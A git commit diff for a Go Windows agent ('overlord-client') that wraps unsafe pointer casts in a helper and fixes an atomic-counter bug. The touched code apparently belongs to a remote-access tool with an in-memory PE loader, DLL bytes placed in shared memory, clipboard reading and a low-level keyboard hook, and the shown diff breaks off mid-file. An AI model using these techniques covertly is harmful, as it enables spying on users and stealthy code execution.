make a wrapper for all unsafe pointers + fix the OIDC test not cleaning up the prod db.
This commit is contained in:
@@ -10,6 +10,7 @@ import (
|
|||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
"overlord-client/cmd/agent/runtime"
|
"overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
"overlord-client/cmd/agent/wire"
|
"overlord-client/cmd/agent/wire"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
@@ -113,7 +114,7 @@ func utf16PtrFromUintptr(ptr uintptr) string {
|
|||||||
}
|
}
|
||||||
n := 0
|
n := 0
|
||||||
for {
|
for {
|
||||||
v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2))
|
v := *(*uint16)(wininterop.Pointer(ptr + uintptr(n)*2))
|
||||||
if v == 0 {
|
if v == 0 {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -122,6 +123,6 @@ func utf16PtrFromUintptr(ptr uintptr) string {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n)
|
u16 := unsafe.Slice((*uint16)(wininterop.Pointer(ptr)), n)
|
||||||
return windows.UTF16ToString(u16)
|
return windows.UTF16ToString(u16)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,6 +10,8 @@ import (
|
|||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
)
|
)
|
||||||
|
|
||||||
// backstageFrameHeader mirrors the C backstageFrameHeader struct.
|
// backstageFrameHeader mirrors the C backstageFrameHeader struct.
|
||||||
@@ -106,7 +108,7 @@ func backstageGetFrameReader(pid uint32) *backstageFrameReader {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
hdr := (*backstageFrameHeader)(unsafe.Pointer(view))
|
hdr := (*backstageFrameHeader)(wininterop.Pointer(view))
|
||||||
if hdr.Magic != backstageFrameMagic {
|
if hdr.Magic != backstageFrameMagic {
|
||||||
procUnmapViewOfFile.Call(view)
|
procUnmapViewOfFile.Call(view)
|
||||||
procCloseHandle.Call(shmHandle)
|
procCloseHandle.Call(shmHandle)
|
||||||
@@ -130,7 +132,7 @@ func backstageGetFrameReader(pid uint32) *backstageFrameReader {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
hdr2 := (*backstageFrameHeader)(unsafe.Pointer(fullView))
|
hdr2 := (*backstageFrameHeader)(wininterop.Pointer(fullView))
|
||||||
|
|
||||||
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageEventPrefix, pid))
|
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageEventPrefix, pid))
|
||||||
evtHandle, _, _ := procOpenEventW.Call(
|
evtHandle, _, _ := procOpenEventW.Call(
|
||||||
@@ -142,7 +144,7 @@ func backstageGetFrameReader(pid uint32) *backstageFrameReader {
|
|||||||
r := &backstageFrameReader{
|
r := &backstageFrameReader{
|
||||||
pid: pid,
|
pid: pid,
|
||||||
shmHandle: shmHandle,
|
shmHandle: shmHandle,
|
||||||
shmView: unsafe.Pointer(fullView),
|
shmView: wininterop.Pointer(fullView),
|
||||||
shmSize: fullSize,
|
shmSize: fullSize,
|
||||||
evtHandle: evtHandle,
|
evtHandle: evtHandle,
|
||||||
}
|
}
|
||||||
@@ -233,7 +235,7 @@ func (r *backstageFrameReader) remap(w, h, stride int) {
|
|||||||
if view == 0 {
|
if view == 0 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
r.shmView = unsafe.Pointer(view)
|
r.shmView = wininterop.Pointer(view)
|
||||||
r.shmSize = newSize
|
r.shmSize = newSize
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -16,6 +16,8 @@ import (
|
|||||||
"unicode/utf16"
|
"unicode/utf16"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1125,7 +1127,7 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er
|
|||||||
return 0, "", fmt.Errorf("MapViewOfFile: %v", callErr)
|
return 0, "", fmt.Errorf("MapViewOfFile: %v", callErr)
|
||||||
}
|
}
|
||||||
|
|
||||||
copy(unsafe.Slice((*byte)(unsafe.Pointer(view)), size), dllBytes)
|
copy(unsafe.Slice((*byte)(wininterop.Pointer(view)), size), dllBytes)
|
||||||
|
|
||||||
procUnmapViewOfFile.Call(view)
|
procUnmapViewOfFile.Call(view)
|
||||||
return handle, name, nil
|
return handle, name, nil
|
||||||
|
|||||||
@@ -11,6 +11,8 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -770,7 +772,7 @@ func bstrToString(bstr uintptr) string {
|
|||||||
if length == 0 {
|
if length == 0 {
|
||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
slice := unsafe.Slice((*uint16)(unsafe.Pointer(bstr)), length)
|
slice := unsafe.Slice((*uint16)(wininterop.Pointer(bstr)), length)
|
||||||
return syscall.UTF16ToString(slice)
|
return syscall.UTF16ToString(slice)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1078,12 +1080,12 @@ func enumChildrenForInputSite(parent uintptr) uintptr {
|
|||||||
cb := syscall.NewCallback(func(hwnd uintptr, lparam uintptr) uintptr {
|
cb := syscall.NewCallback(func(hwnd uintptr, lparam uintptr) uintptr {
|
||||||
cls := getWindowClassName(hwnd)
|
cls := getWindowClassName(hwnd)
|
||||||
if cls == "Windows.UI.Input.InputSite.WindowClass" {
|
if cls == "Windows.UI.Input.InputSite.WindowClass" {
|
||||||
*(*uintptr)(unsafe.Pointer(lparam)) = hwnd
|
*(*uintptr)(wininterop.Pointer(lparam)) = hwnd
|
||||||
return 0 // stop enumeration
|
return 0 // stop enumeration
|
||||||
}
|
}
|
||||||
child := enumChildrenForInputSite(hwnd)
|
child := enumChildrenForInputSite(hwnd)
|
||||||
if child != 0 {
|
if child != 0 {
|
||||||
*(*uintptr)(unsafe.Pointer(lparam)) = child
|
*(*uintptr)(wininterop.Pointer(lparam)) = child
|
||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
return 1 // continue
|
return 1 // continue
|
||||||
|
|||||||
@@ -14,6 +14,8 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1017,7 +1019,7 @@ func (e *mfH264Encoder) processOutput() ([]byte, error) {
|
|||||||
var status uint32
|
var status uint32
|
||||||
hr = e.transform.ProcessOutput(0, 1, &output, &status)
|
hr = e.transform.ProcessOutput(0, 1, &output, &status)
|
||||||
if output.events != 0 {
|
if output.events != 0 {
|
||||||
(*iunknown)(unsafe.Pointer(output.events)).Release()
|
(*iunknown)(wininterop.Pointer(output.events)).Release()
|
||||||
}
|
}
|
||||||
switch hr {
|
switch hr {
|
||||||
case 0:
|
case 0:
|
||||||
|
|||||||
@@ -10,6 +10,8 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"syscall"
|
"syscall"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
)
|
)
|
||||||
|
|
||||||
func copyFileCount(src, dst string) (int64, error) {
|
func copyFileCount(src, dst string) (int64, error) {
|
||||||
@@ -250,7 +252,7 @@ func readFileFromHandle(handle uintptr) []byte {
|
|||||||
defer procUnmapViewOfFile.Call(baseAddr)
|
defer procUnmapViewOfFile.Call(baseAddr)
|
||||||
|
|
||||||
data := make([]byte, fileSize)
|
data := make([]byte, fileSize)
|
||||||
copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize))
|
copy(data, unsafe.Slice((*byte)(wininterop.Pointer(baseAddr)), fileSize))
|
||||||
return data
|
return data
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -413,11 +413,11 @@ func logCaptureTimings(bitDur, dibDur, convDur time.Duration) {
|
|||||||
if frames == 0 {
|
if frames == 0 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
avg := func(totalNs atomic.Int64) float64 {
|
avg := func(totalNs *atomic.Int64) float64 {
|
||||||
return float64(totalNs.Swap(0)) / 1e6 / float64(frames)
|
return float64(totalNs.Swap(0)) / 1e6 / float64(frames)
|
||||||
}
|
}
|
||||||
bitAvg := avg(bitbltNs)
|
bitAvg := avg(&bitbltNs)
|
||||||
convAvg := avg(convertNs)
|
convAvg := avg(&convertNs)
|
||||||
log.Printf("capture: win bitblt avg bitblt=%.2fms convert=%.2fms frames=%d", bitAvg, convAvg, frames)
|
log.Printf("capture: win bitblt avg bitblt=%.2fms convert=%.2fms frames=%d", bitAvg, convAvg, frames)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import (
|
|||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
"overlord-client/cmd/agent/runtime"
|
"overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
"overlord-client/cmd/agent/wire"
|
"overlord-client/cmd/agent/wire"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
@@ -50,7 +51,7 @@ func clipboardSyncRead() string {
|
|||||||
defer procGlobalUnlockCB.Call(h)
|
defer procGlobalUnlockCB.Call(h)
|
||||||
n := 0
|
n := 0
|
||||||
for {
|
for {
|
||||||
v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2))
|
v := *(*uint16)(wininterop.Pointer(ptr + uintptr(n)*2))
|
||||||
if v == 0 {
|
if v == 0 {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -59,7 +60,7 @@ func clipboardSyncRead() string {
|
|||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n)
|
u16 := unsafe.Slice((*uint16)(wininterop.Pointer(ptr)), n)
|
||||||
return windows.UTF16ToString(u16)
|
return windows.UTF16ToString(u16)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -16,6 +16,8 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -238,7 +240,7 @@ func extractFileThumbnailJPEG(path string, edge int) ([]byte, int, int, error) {
|
|||||||
outErr = fmt.Errorf("SHCreateItemFromParsingName failed: 0x%x", hr)
|
outErr = fmt.Errorf("SHCreateItemFromParsingName failed: 0x%x", hr)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
factory := (*iShellItemImageFactory)(unsafe.Pointer(itemPtr))
|
factory := (*iShellItemImageFactory)(wininterop.Pointer(itemPtr))
|
||||||
defer callRelease(factory.Vtbl.Release, itemPtr)
|
defer callRelease(factory.Vtbl.Release, itemPtr)
|
||||||
|
|
||||||
flags := uint32(siigbfThumbnailOnly | siigbfBiggerSizeOk)
|
flags := uint32(siigbfThumbnailOnly | siigbfBiggerSizeOk)
|
||||||
|
|||||||
@@ -5,7 +5,8 @@ package main
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"syscall"
|
"syscall"
|
||||||
"unsafe"
|
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
)
|
)
|
||||||
@@ -32,9 +33,9 @@ func installHardCrashReporter() {
|
|||||||
hardCrashCallback = syscall.NewCallback(func(info uintptr) uintptr {
|
hardCrashCallback = syscall.NewCallback(func(info uintptr) uintptr {
|
||||||
detail := "unhandled native exception"
|
detail := "unhandled native exception"
|
||||||
if info != 0 {
|
if info != 0 {
|
||||||
ptrs := (*exceptionPointers)(unsafe.Pointer(info))
|
ptrs := (*exceptionPointers)(wininterop.Pointer(info))
|
||||||
if ptrs.ExceptionRecord != 0 {
|
if ptrs.ExceptionRecord != 0 {
|
||||||
rec := (*exceptionRecord)(unsafe.Pointer(ptrs.ExceptionRecord))
|
rec := (*exceptionRecord)(wininterop.Pointer(ptrs.ExceptionRecord))
|
||||||
detail = fmt.Sprintf("exception=0x%08x address=0x%x flags=0x%x", rec.ExceptionCode, rec.ExceptionAddress, rec.ExceptionFlags)
|
detail = fmt.Sprintf("exception=0x%08x address=0x%x flags=0x%x", rec.ExceptionCode, rec.ExceptionAddress, rec.ExceptionFlags)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,6 +15,8 @@ import (
|
|||||||
"syscall"
|
"syscall"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -105,7 +107,7 @@ func loadNativePluginMemory(manifest PluginManifest, data []byte) (NativePlugin,
|
|||||||
if ret != 0 {
|
if ret != 0 {
|
||||||
var buf [32]byte
|
var buf [32]byte
|
||||||
for i := range buf {
|
for i := range buf {
|
||||||
b := *(*byte)(unsafe.Pointer(ret + uintptr(i)))
|
b := *(*byte)(wininterop.Pointer(ret + uintptr(i)))
|
||||||
if b == 0 {
|
if b == 0 {
|
||||||
rt = string(buf[:i])
|
rt = string(buf[:i])
|
||||||
break
|
break
|
||||||
@@ -190,7 +192,7 @@ func loadNativePluginOS(manifest PluginManifest, data []byte) (NativePlugin, err
|
|||||||
if ret != 0 {
|
if ret != 0 {
|
||||||
var buf [32]byte
|
var buf [32]byte
|
||||||
for i := range buf {
|
for i := range buf {
|
||||||
b := *(*byte)(unsafe.Pointer(ret + uintptr(i)))
|
b := *(*byte)(wininterop.Pointer(ret + uintptr(i)))
|
||||||
if b == 0 {
|
if b == 0 {
|
||||||
rt = string(buf[:i])
|
rt = string(buf[:i])
|
||||||
break
|
break
|
||||||
@@ -294,11 +296,11 @@ func (p *dllPlugin) Load(send func(string, []byte), hostInfo []byte) error {
|
|||||||
cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr {
|
cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr {
|
||||||
event := make([]byte, eventLen)
|
event := make([]byte, eventLen)
|
||||||
if eventLen > 0 {
|
if eventLen > 0 {
|
||||||
copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen))
|
copy(event, unsafe.Slice((*byte)(wininterop.Pointer(eventPtr)), eventLen))
|
||||||
}
|
}
|
||||||
payload := make([]byte, payloadLen)
|
payload := make([]byte, payloadLen)
|
||||||
if payloadLen > 0 {
|
if payloadLen > 0 {
|
||||||
copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen))
|
copy(payload, unsafe.Slice((*byte)(wininterop.Pointer(payloadPtr)), payloadLen))
|
||||||
}
|
}
|
||||||
send(string(event), payload)
|
send(string(event), payload)
|
||||||
return 0
|
return 0
|
||||||
|
|||||||
@@ -8,6 +8,8 @@ import (
|
|||||||
"syscall"
|
"syscall"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -225,7 +227,7 @@ func LoadMemoryModule(data []byte) (*MemoryModule, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
mappedNT := (*imageNTHeaders64)(unsafe.Pointer(base + uintptr(dosHdr.LfaNew)))
|
mappedNT := (*imageNTHeaders64)(wininterop.Pointer(base + uintptr(dosHdr.LfaNew)))
|
||||||
delta := int64(base) - int64(mappedNT.OptionalHeader.ImageBase)
|
delta := int64(base) - int64(mappedNT.OptionalHeader.ImageBase)
|
||||||
|
|
||||||
if delta != 0 {
|
if delta != 0 {
|
||||||
@@ -335,7 +337,7 @@ func (mm *MemoryModule) processRelocations(dir imageDataDirectory, delta int64)
|
|||||||
end := offset + uintptr(dir.Size)
|
end := offset + uintptr(dir.Size)
|
||||||
|
|
||||||
for offset < end {
|
for offset < end {
|
||||||
block := (*imageBaseRelocation)(unsafe.Pointer(mm.base + offset))
|
block := (*imageBaseRelocation)(wininterop.Pointer(mm.base + offset))
|
||||||
if block.SizeOfBlock == 0 {
|
if block.SizeOfBlock == 0 {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -343,7 +345,7 @@ func (mm *MemoryModule) processRelocations(dir imageDataDirectory, delta int64)
|
|||||||
entries := mm.base + offset + 8
|
entries := mm.base + offset + 8
|
||||||
|
|
||||||
for i := uint32(0); i < count; i++ {
|
for i := uint32(0); i < count; i++ {
|
||||||
entry := *(*uint16)(unsafe.Pointer(entries + uintptr(i)*2))
|
entry := *(*uint16)(wininterop.Pointer(entries + uintptr(i)*2))
|
||||||
typ := entry >> 12
|
typ := entry >> 12
|
||||||
off := uintptr(entry & 0xFFF)
|
off := uintptr(entry & 0xFFF)
|
||||||
addr := mm.base + uintptr(block.VirtualAddress) + off
|
addr := mm.base + uintptr(block.VirtualAddress) + off
|
||||||
@@ -351,10 +353,10 @@ func (mm *MemoryModule) processRelocations(dir imageDataDirectory, delta int64)
|
|||||||
switch typ {
|
switch typ {
|
||||||
case imageRelBasedAbsolute:
|
case imageRelBasedAbsolute:
|
||||||
case imageRelBasedHighLow:
|
case imageRelBasedHighLow:
|
||||||
val := (*uint32)(unsafe.Pointer(addr))
|
val := (*uint32)(wininterop.Pointer(addr))
|
||||||
*val = uint32(int64(*val) + delta)
|
*val = uint32(int64(*val) + delta)
|
||||||
case imageRelBasedDir64:
|
case imageRelBasedDir64:
|
||||||
val := (*uint64)(unsafe.Pointer(addr))
|
val := (*uint64)(wininterop.Pointer(addr))
|
||||||
*val = uint64(int64(*val) + delta)
|
*val = uint64(int64(*val) + delta)
|
||||||
default:
|
default:
|
||||||
return fmt.Errorf("pe: unsupported relocation type %d", typ)
|
return fmt.Errorf("pe: unsupported relocation type %d", typ)
|
||||||
@@ -366,8 +368,8 @@ func (mm *MemoryModule) processRelocations(dir imageDataDirectory, delta int64)
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (mm *MemoryModule) registerExceptionTable() error {
|
func (mm *MemoryModule) registerExceptionTable() error {
|
||||||
dosHdr := (*imageDOSHeader)(unsafe.Pointer(mm.base))
|
dosHdr := (*imageDOSHeader)(wininterop.Pointer(mm.base))
|
||||||
ntHdr := (*imageNTHeaders64)(unsafe.Pointer(mm.base + uintptr(dosHdr.LfaNew)))
|
ntHdr := (*imageNTHeaders64)(wininterop.Pointer(mm.base + uintptr(dosHdr.LfaNew)))
|
||||||
excDir := ntHdr.OptionalHeader.DataDirectory[imageDirectoryEntryException]
|
excDir := ntHdr.OptionalHeader.DataDirectory[imageDirectoryEntryException]
|
||||||
if excDir.VirtualAddress == 0 || excDir.Size == 0 {
|
if excDir.VirtualAddress == 0 || excDir.Size == 0 {
|
||||||
return nil
|
return nil
|
||||||
@@ -396,7 +398,7 @@ func (mm *MemoryModule) resolveImports(dir imageDataDirectory) error {
|
|||||||
offset := uintptr(dir.VirtualAddress)
|
offset := uintptr(dir.VirtualAddress)
|
||||||
|
|
||||||
for {
|
for {
|
||||||
desc := (*imageImportDescriptor)(unsafe.Pointer(mm.base + offset))
|
desc := (*imageImportDescriptor)(wininterop.Pointer(mm.base + offset))
|
||||||
if desc.Name == 0 {
|
if desc.Name == 0 {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -415,7 +417,7 @@ func (mm *MemoryModule) resolveImports(dir imageDataDirectory) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for {
|
for {
|
||||||
ref := *(*uint64)(unsafe.Pointer(thunkRef))
|
ref := *(*uint64)(wininterop.Pointer(thunkRef))
|
||||||
if ref == 0 {
|
if ref == 0 {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -433,7 +435,7 @@ func (mm *MemoryModule) resolveImports(dir imageDataDirectory) error {
|
|||||||
return fmt.Errorf("pe: import resolve from %s: %w", dllName, err)
|
return fmt.Errorf("pe: import resolve from %s: %w", dllName, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
*(*uintptr)(unsafe.Pointer(thunkAddr)) = procAddr
|
*(*uintptr)(wininterop.Pointer(thunkAddr)) = procAddr
|
||||||
thunkRef += 8
|
thunkRef += 8
|
||||||
thunkAddr += 8
|
thunkAddr += 8
|
||||||
}
|
}
|
||||||
@@ -446,7 +448,7 @@ func (mm *MemoryModule) parseExports(dir imageDataDirectory) {
|
|||||||
if dir.Size == 0 {
|
if dir.Size == 0 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
expDir := (*imageExportDirectory)(unsafe.Pointer(mm.base + uintptr(dir.VirtualAddress)))
|
expDir := (*imageExportDirectory)(wininterop.Pointer(mm.base + uintptr(dir.VirtualAddress)))
|
||||||
numNames := int(expDir.NumberOfNames)
|
numNames := int(expDir.NumberOfNames)
|
||||||
if numNames == 0 {
|
if numNames == 0 {
|
||||||
return
|
return
|
||||||
@@ -460,9 +462,9 @@ func (mm *MemoryModule) parseExports(dir imageDataDirectory) {
|
|||||||
exportEnd := exportStart + uintptr(dir.Size)
|
exportEnd := exportStart + uintptr(dir.Size)
|
||||||
|
|
||||||
for i := 0; i < numNames; i++ {
|
for i := 0; i < numNames; i++ {
|
||||||
nameRVA := *(*uint32)(unsafe.Pointer(namesRVA + uintptr(i)*4))
|
nameRVA := *(*uint32)(wininterop.Pointer(namesRVA + uintptr(i)*4))
|
||||||
ordinal := *(*uint16)(unsafe.Pointer(ordinalsRVA + uintptr(i)*2))
|
ordinal := *(*uint16)(wininterop.Pointer(ordinalsRVA + uintptr(i)*2))
|
||||||
funcRVA := *(*uint32)(unsafe.Pointer(funcsRVA + uintptr(ordinal)*4))
|
funcRVA := *(*uint32)(wininterop.Pointer(funcsRVA + uintptr(ordinal)*4))
|
||||||
|
|
||||||
if uintptr(funcRVA) >= exportStart && uintptr(funcRVA) < exportEnd {
|
if uintptr(funcRVA) >= exportStart && uintptr(funcRVA) < exportEnd {
|
||||||
continue
|
continue
|
||||||
@@ -485,14 +487,14 @@ func (mm *MemoryModule) parseExports(dir imageDataDirectory) {
|
|||||||
// access violations in completely unrelated code paths (e.g.
|
// access violations in completely unrelated code paths (e.g.
|
||||||
// D3D11CreateDevice).
|
// D3D11CreateDevice).
|
||||||
func (mm *MemoryModule) setupTLS(reason uint32) {
|
func (mm *MemoryModule) setupTLS(reason uint32) {
|
||||||
dosHdr := (*imageDOSHeader)(unsafe.Pointer(mm.base))
|
dosHdr := (*imageDOSHeader)(wininterop.Pointer(mm.base))
|
||||||
ntHdr := (*imageNTHeaders64)(unsafe.Pointer(mm.base + uintptr(dosHdr.LfaNew)))
|
ntHdr := (*imageNTHeaders64)(wininterop.Pointer(mm.base + uintptr(dosHdr.LfaNew)))
|
||||||
tlsDir := ntHdr.OptionalHeader.DataDirectory[imageDirectoryEntryTLS]
|
tlsDir := ntHdr.OptionalHeader.DataDirectory[imageDirectoryEntryTLS]
|
||||||
if tlsDir.VirtualAddress == 0 || tlsDir.Size == 0 {
|
if tlsDir.VirtualAddress == 0 || tlsDir.Size == 0 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
tls := (*imageTLSDirectory64)(unsafe.Pointer(mm.base + uintptr(tlsDir.VirtualAddress)))
|
tls := (*imageTLSDirectory64)(wininterop.Pointer(mm.base + uintptr(tlsDir.VirtualAddress)))
|
||||||
if tls.EndAddressOfRawData < tls.StartAddressOfRawData {
|
if tls.EndAddressOfRawData < tls.StartAddressOfRawData {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -523,7 +525,7 @@ func (mm *MemoryModule) setupTLS(reason uint32) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
if dataSize > 0 {
|
if dataSize > 0 {
|
||||||
copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize)
|
copyMem(tlsData, (*byte)(wininterop.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize)
|
||||||
}
|
}
|
||||||
if !tlsSetValue(idx, tlsData) {
|
if !tlsSetValue(idx, tlsData) {
|
||||||
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
|
_ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE)
|
||||||
@@ -535,7 +537,7 @@ func (mm *MemoryModule) setupTLS(reason uint32) {
|
|||||||
// Patch the plugin's `_tls_index` so its compiled TLS accesses use
|
// Patch the plugin's `_tls_index` so its compiled TLS accesses use
|
||||||
// our OS-issued slot instead of whatever index it was linked with.
|
// our OS-issued slot instead of whatever index it was linked with.
|
||||||
if tls.AddressOfIndex != 0 {
|
if tls.AddressOfIndex != 0 {
|
||||||
*(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = idx
|
*(*uint32)(wininterop.Pointer(uintptr(tls.AddressOfIndex))) = idx
|
||||||
}
|
}
|
||||||
|
|
||||||
mm.tlsIndex = idx
|
mm.tlsIndex = idx
|
||||||
@@ -549,7 +551,7 @@ func (mm *MemoryModule) setupTLS(reason uint32) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
for {
|
for {
|
||||||
cb := *(*uintptr)(unsafe.Pointer(cbAddr))
|
cb := *(*uintptr)(wininterop.Pointer(cbAddr))
|
||||||
if cb == 0 {
|
if cb == 0 {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -577,7 +579,7 @@ func (mm *MemoryModule) SetupThreadTLS() func() {
|
|||||||
return func() {}
|
return func() {}
|
||||||
}
|
}
|
||||||
if mm.tlsTemplSize > 0 {
|
if mm.tlsTemplSize > 0 {
|
||||||
copyMem(tlsData, (*byte)(unsafe.Pointer(mm.tlsTemplSrc)), mm.tlsTemplSize)
|
copyMem(tlsData, (*byte)(wininterop.Pointer(mm.tlsTemplSrc)), mm.tlsTemplSize)
|
||||||
}
|
}
|
||||||
|
|
||||||
prev := tlsGetValue(mm.tlsIndex)
|
prev := tlsGetValue(mm.tlsIndex)
|
||||||
@@ -608,7 +610,7 @@ func (mm *MemoryModule) containsAddress(addr uintptr, size uintptr) bool {
|
|||||||
func peString(addr uintptr) string {
|
func peString(addr uintptr) string {
|
||||||
var buf []byte
|
var buf []byte
|
||||||
for i := 0; i < 4096; i++ { // safety limit
|
for i := 0; i < 4096; i++ { // safety limit
|
||||||
b := *(*byte)(unsafe.Pointer(addr + uintptr(i)))
|
b := *(*byte)(wininterop.Pointer(addr + uintptr(i)))
|
||||||
if b == 0 {
|
if b == 0 {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -619,7 +621,7 @@ func peString(addr uintptr) string {
|
|||||||
|
|
||||||
func copyMem(dst uintptr, src *byte, size uintptr) {
|
func copyMem(dst uintptr, src *byte, size uintptr) {
|
||||||
for i := uintptr(0); i < size; i++ {
|
for i := uintptr(0); i < size; i++ {
|
||||||
*(*byte)(unsafe.Pointer(dst + i)) = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(src)) + i))
|
*(*byte)(wininterop.Pointer(dst + i)) = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(src)) + i))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -9,6 +9,8 @@ import (
|
|||||||
"syscall"
|
"syscall"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/wininterop"
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -368,7 +370,7 @@ func enumerateMonitors() []monitorRect {
|
|||||||
var mu sync.Mutex
|
var mu sync.Mutex
|
||||||
|
|
||||||
cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr {
|
cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr {
|
||||||
rc := (*rect)(unsafe.Pointer(lprcMonitor))
|
rc := (*rect)(wininterop.Pointer(lprcMonitor))
|
||||||
mu.Lock()
|
mu.Lock()
|
||||||
monitors = append(monitors, monitorRect{
|
monitors = append(monitors, monitorRect{
|
||||||
left: rc.left,
|
left: rc.left,
|
||||||
@@ -458,7 +460,7 @@ func keyboardHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr {
|
|||||||
return ret
|
return ret
|
||||||
}
|
}
|
||||||
|
|
||||||
kb := (*kbdllhookstruct)(unsafe.Pointer(lParam))
|
